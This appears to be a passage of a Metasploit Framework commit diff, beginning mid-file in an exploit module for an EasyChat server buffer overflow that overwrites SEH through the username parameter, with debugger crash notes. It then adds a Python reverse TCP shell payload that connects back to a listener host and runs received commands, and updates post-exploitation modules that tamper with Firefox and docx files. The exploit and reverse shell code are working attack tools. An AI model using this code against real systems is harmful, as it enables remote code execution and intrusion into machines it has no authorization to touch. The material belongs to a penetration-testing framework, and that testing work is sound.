uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"
|
||||
# send payload
|
||||
sploit = rand_text_alpha(256 - path.length)
|
||||
sploit << generate_seh_payload(my_target.ret)
|
||||
print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})"
|
||||
send_request_cgi({
|
||||
'uri' => '/chat.ghp',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'username' => sploit,
|
||||
'password' => rand_text_alphanumeric(rand(10) + 1),
|
||||
'room' => 1,
|
||||
'sex' => rand_text_numeric(1)
|
||||
}
|
||||
}, 5)
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
send_request_raw({'uri' => uri}, 5)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
0x004144C8 calls sprintf with the following arguments:
|
||||
sprintf(&FileName, "%susers\\%s", path, username);
|
||||
|
||||
Since we can make the username larger than the allocated buffer size
|
||||
we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with
|
||||
a short jmp to the beginning of our shellcode.
|
||||
|
||||
(46c.144): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea
|
||||
eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
|
||||
EasyChat+0x45f34:
|
||||
00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=??
|
||||
|
||||
0:005> !exchain
|
||||
01216dd8: 41414141
|
||||
Invalid exception stack at 41414141
|
||||
=end
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Command Shell, Reverse TCP (via python)',
|
||||
'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compat with 2.3.3',
|
||||
'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'python',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
cmd = ''
|
||||
dead = Rex::Text.rand_text_alpha(2)
|
||||
# Set up the socket
|
||||
cmd << "import socket,os\n"
|
||||
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
|
||||
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
|
||||
# The actual IO
|
||||
cmd << "#{dead}=False\n"
|
||||
cmd << "while not #{dead}:\n"
|
||||
cmd << "\tdata=so.recv(1024)\n"
|
||||
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
|
||||
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
|
||||
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
|
||||
cmd << "\tso.send(stdout_value)\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
||||
|
||||
cmd
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -15,12 +15,12 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
||||
'Name' => 'Command Shell, Reverse TCP SSL (via python)',
|
||||
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
||||
'Author' => 'RageLtMan',
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'python',
|
||||
|
@ -36,8 +36,7 @@ module Metasploit3
|
|||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -60,11 +59,10 @@ module Metasploit3
|
|||
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
|
||||
cmd += "\ts.send(stdout_value)\n"
|
||||
|
||||
# The *nix shell wrapper to keep things clean
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
||||
return cmd
|
||||
|
||||
cmd
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -3,10 +3,24 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
#
|
||||
# Standard Library
|
||||
#
|
||||
|
||||
require 'tmpdir'
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
||||
require 'zip'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'zip/zip'
|
||||
require 'tmpdir'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
@ -104,10 +118,10 @@ class Metasploit3 < Msf::Post
|
|||
begin
|
||||
# automatically commits the changes made to the zip archive when
|
||||
# the block terminates
|
||||
Zip::ZipFile.open(tmp) do |zip_file|
|
||||
Zip::File.open(tmp) do |zip_file|
|
||||
res = modify_omnija(zip_file)
|
||||
end
|
||||
rescue Zip::ZipError => e
|
||||
rescue Zip::Error => e
|
||||
print_error("Error modifying #{new_file}")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -3,9 +3,20 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
||||
# for extracting files
|
||||
require 'zip'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'msf/core'
|
||||
require 'zip/zip' #for extracting files
|
||||
require 'rex/zip' #for creating files
|
||||
# for creating files
|
||||
require 'rex/zip'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
|
@ -109,17 +120,17 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
#RubyZip sometimes corrupts the document when manipulating inside a
|
||||
#compressed document, so we extract it with Zip::ZipFile into memory
|
||||
#compressed document, so we extract it with Zip::File into memory
|
||||
def unzip_docx(zipfile)
|
||||
vprint_status("Extracting #{datastore['FILE']} into memory.")
|
||||
zip_data = Hash.new
|
||||
begin
|
||||
Zip::ZipFile.open(zipfile) do |filezip|
|
||||
Zip::File.open(zipfile) do |filezip|
|
||||
filezip.each do |entry|
|
||||
zip_data[entry.name] = filezip.read(entry)
|
||||
end
|
||||
end
|
||||
rescue Zip::ZipError => e
|
||||
rescue Zip::Error => e
|
||||
print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.")
|
||||
return nil
|
||||
end
|
||||
|
|
|
@ -3,22 +3,23 @@ require 'metasploit/framework/credential_collection'
|
|||
|
||||
describe Metasploit::Framework::CredentialCollection do
|
||||
|
||||
describe "#each" do
|
||||
subject(:collection) do
|
||||
described_class.new(
|
||||
username: username,
|
||||
password: password,
|
||||
user_file: user_file,
|
||||
pass_file: pass_file,
|
||||
userpass_file: userpass_file,
|
||||
)
|
||||
end
|
||||
subject(:collection) do
|
||||
described_class.new(
|
||||
username: username,
|
||||
password: password,
|
||||
user_file: user_file,
|
||||
pass_file: pass_file,
|
||||
userpass_file: userpass_file,
|
||||
)
|
||||
end
|
||||
|
||||
let(:username) { "user" }
|
||||
let(:password) { "pass" }
|
||||
let(:user_file) { nil }
|
||||
let(:pass_file) { nil }
|
||||
let(:userpass_file) { nil }
|
||||
let(:username) { "user" }
|
||||
let(:password) { "pass" }
|
||||
let(:user_file) { nil }
|
||||
let(:pass_file) { nil }
|
||||
let(:userpass_file) { nil }
|
||||
|
||||
describe "#each" do
|
||||
|
||||
specify do
|
||||
expect { |b| collection.each(&b) }.to yield_with_args(Metasploit::Framework::Credential)
|
||||
|
@ -82,4 +83,15 @@ describe Metasploit::Framework::CredentialCollection do
|
|||
|
||||
end
|
||||
|
||||
describe "#prepend_cred" do
|
||||
specify do
|
||||
prep = Metasploit::Framework::Credential.new(public: "foo", private: "bar")
|
||||
collection.prepend_cred(prep)
|
||||
expect { |b| collection.each(&b) }.to yield_successive_args(
|
||||
prep,
|
||||
Metasploit::Framework::Credential.new(public: username, private: password),
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue